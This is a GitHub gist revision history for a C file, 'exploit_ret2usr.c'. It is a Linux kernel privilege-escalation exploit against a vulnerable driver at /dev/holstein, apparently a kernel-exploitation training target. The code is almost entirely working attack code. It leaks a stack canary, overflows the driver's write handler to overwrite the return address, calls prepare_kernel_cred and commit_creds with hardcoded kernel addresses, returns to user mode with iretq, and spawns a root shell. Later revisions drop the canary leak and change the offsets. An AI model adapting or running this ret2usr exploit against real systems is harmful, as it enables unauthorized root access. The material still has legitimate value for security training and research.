Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active November 15, 2022 08:38

Revisions

  1. brant-ruan revised this gist Nov 15, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion exploit_ret2usr.c
    Original file line number Diff line number Diff line change
    @@ -79,7 +79,7 @@ void privesc() {


    void overwrite_ret() {
    puts("[*] trying to overwrite return address of read op");
    puts("[*] trying to overwrite return address of write op");
    uint64_t ret_off = 0x408;
    char payload[0x410];
    memset(payload, 'A', ret_off);
  2. brant-ruan revised this gist Nov 15, 2022. 1 changed file with 3 additions and 2 deletions.
    5 changes: 3 additions & 2 deletions exploit_ret2usr.c
    Original file line number Diff line number Diff line change
    @@ -2,6 +2,7 @@
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    char *VULN_DRV = "/dev/holstein";
    @@ -10,8 +11,8 @@ void spawn_shell();
    int64_t global_fd = 0;

    uint64_t user_cs, user_ss, user_rflags, user_sp;
    uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
    uint64_t commit_creds = 0xffffffff814c6410;
    uint64_t prepare_kernel_cred = 0xffffffff8106e240;
    uint64_t commit_creds = 0xffffffff8106e390;
    uint64_t user_rip = (uint64_t) spawn_shell;


  3. brant-ruan revised this gist Nov 15, 2022. 1 changed file with 7 additions and 27 deletions.
    34 changes: 7 additions & 27 deletions exploit_ret2usr.c
    Original file line number Diff line number Diff line change
    @@ -8,8 +8,6 @@ char *VULN_DRV = "/dev/holstein";
    void spawn_shell();

    int64_t global_fd = 0;
    uint64_t cookie = 0;
    uint8_t cookie_off = 16;

    uint64_t user_cs, user_ss, user_rflags, user_sp;
    uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
    @@ -28,20 +26,6 @@ void open_dev() {
    }


    void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
    if(!cookie) {
    puts("[-] failed to leak stack canary!");
    exit(-1);
    }
    }


    void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    @@ -94,15 +78,11 @@ void privesc() {


    void overwrite_ret() {
    puts("[*] trying to overwrite return address of hacker_write");
    uint8_t sz = 50;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = (uint64_t)privesc; // return address
    puts("[*] trying to overwrite return address of read op");
    uint64_t ret_off = 0x408;
    char payload[0x410];
    memset(payload, 'A', ret_off);
    *(uint64_t *)&payload[ret_off] = (uint64_t)privesc; // return address

    uint64_t data = write(global_fd, payload, sizeof(payload));

    @@ -112,9 +92,9 @@ void overwrite_ret() {

    int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    close(global_fd);

    return 0;
    }
  4. brant-ruan created this gist Nov 15, 2022.
    120 changes: 120 additions & 0 deletions exploit_ret2usr.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,120 @@
    #include <fcntl.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    char *VULN_DRV = "/dev/holstein";
    void spawn_shell();

    int64_t global_fd = 0;
    uint64_t cookie = 0;
    uint8_t cookie_off = 16;

    uint64_t user_cs, user_ss, user_rflags, user_sp;
    uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
    uint64_t commit_creds = 0xffffffff814c6410;
    uint64_t user_rip = (uint64_t) spawn_shell;


    void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
    printf("[!] failed to open %s\n", VULN_DRV);
    exit(-1);
    } else {
    printf("[+] successfully opened %s\n", VULN_DRV);
    }
    }


    void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
    if(!cookie) {
    puts("[-] failed to leak stack canary!");
    exit(-1);
    }
    }


    void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
    printf("[+] got root (uid = %d)\n", uid);
    } else {
    printf("[!] failed to get root (uid: %d)\n", uid);
    exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
    }


    void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax");
    }


    void privesc() {
    __asm__(".intel_syntax noprefix;"
    "movabs rax, prepare_kernel_cred;"
    "xor rdi, rdi;"
    "call rax;"
    "mov rdi, rax;"
    "movabs rax, commit_creds;"
    "call rax;"
    "swapgs;"
    "mov r15, user_ss;"
    "push r15;"
    "mov r15, user_sp;"
    "push r15;"
    "mov r15, user_rflags;"
    "push r15;"
    "mov r15, user_cs;"
    "push r15;"
    "mov r15, user_rip;"
    "push r15;"
    "iretq;"
    ".att_syntax;");
    }


    void overwrite_ret() {
    puts("[*] trying to overwrite return address of hacker_write");
    uint8_t sz = 50;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = (uint64_t)privesc; // return address

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
    }


    int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    return 0;
    }